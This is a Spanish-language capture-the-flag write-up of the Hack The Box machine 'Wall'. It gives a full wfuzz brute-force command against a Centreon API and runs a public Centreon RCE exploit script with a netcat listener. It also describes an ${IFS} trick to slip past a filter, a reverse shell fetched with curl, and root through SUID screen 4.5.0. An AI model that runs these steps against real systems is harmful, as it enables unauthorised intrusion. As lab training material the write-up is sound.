HTB-Wall
IP -> 10.10.10.157
Reconocimiento
Nmap
Utilizamos nmap y obtenemos los siguientes resultados.
http
whatweb
Utilizamos la herramienta whatweb para enumerar información del servicio http. Pero no obtenemos información relevante.
http-enum
Mediante el script http-enum fuzzeamos el servicio web.
Fuzzing
Fuzzeamos el servicio http con herramientas como wfuzz o gobuster. Y obtenemos los siguientes resultados.
monitoring -> 401 -> Probamos credenciales por defecto.
Pero no conseguimos nada.
curl
- Cambiamos tipo de petición a POST
curl -s -X POST "http://10.10.10.157/monitoring -L
Descubrimos una ruta nueva
/centreon
Browser
Panel de inicio de sesión. “Centreon”. Buscamos “Centreon default password” pero las credenciales que encontramos no sirven. Podemos buscar a ver si tiene una API, para realizar pruebas. Encontramos una api
/centreon/api/index.php
Realizamos un ataque de fuerza bruta sobre la api con wfuzz
wfuzz bruteforce
wfuzz -c -t 200 --hc=404 --hh=17 -w /usr/share/seclists/darkweb2017-top10000.txt -d 'username=admin&password=FUZZ' "http://10.10.10.157/centreon/api/index.php?action=authenticate"
USER:: admin PASS: password1
Browser
Iniciamos sesión con las credenciales válidas en /centreon
Vamos al panel de about para ver que vesión es.
Version: 19.04
Con searchsploit vemos que tiene una vulnerabilidad de RCE.
Exploitation
python centreon.py 'http://10.10.10.157/centreon' admin password1 10.10.14.13 443 2>/dev/null
Nos ponemos en escucha con nc.
nc -nlvp 443
Pero en un primer momento no funciona.
- Analizamos el script.
Vemos una ruta, en la que crea un “poller” y la inyección la realiza en el campo “nagios_bin”. Que es el campo “Monitoring Engine Binary”.
- Realizamos el proceso manualmente.
Nos devuelve un 403 Forbidden. Puede que halla un WAF.
- Modificamos el script para que funcione como un RCE, cada uso.
- Probamos diferentes payloads, y nos damos cuenta que el ‘ ‘ no le gusta.
[ ! ] En bash el ‘ ‘ también se puede poner como ‘${IFS}’
- Nos funciona.
- Nos enviamos una reverse shell “sin usar espacios” (con un index.html y jugando con pipes y curl)
Recibimos el GET pero no la reverse shell
- Dividimos el comando en 2, primero descargando el archivo a una ruta y después ejecutándolo con bash.
Tenemos reverse shell.
PrivEsc
OS
cd /home
ls
cd shelby
ls
cat user.txt
No podemos leer el user.txt Vemos un html.zip
Vamos a traernos el html.zip para analizarlo en nuestra máquina.
7z x html.zip
cd html
grep -r -i "pass"
Pero no encontramos nada.
- Seguimos analizando la máquina víctima.
id
cd /
find \-perm -4000 2>/dev/null
screen-4.5.0 es SUID, y es vulnerable a privilege escalation.
Con searchploit descargamos es script en bash, lo subimos a la máquina víctima ya que cuenta con gcc. Lo ejecutamos y somos root.
cat /home/shelby/user.txt
cat /root/root.txt
user.txt root.txt
Escrito el 28-12-2021 a las 07:42 pm por creep33.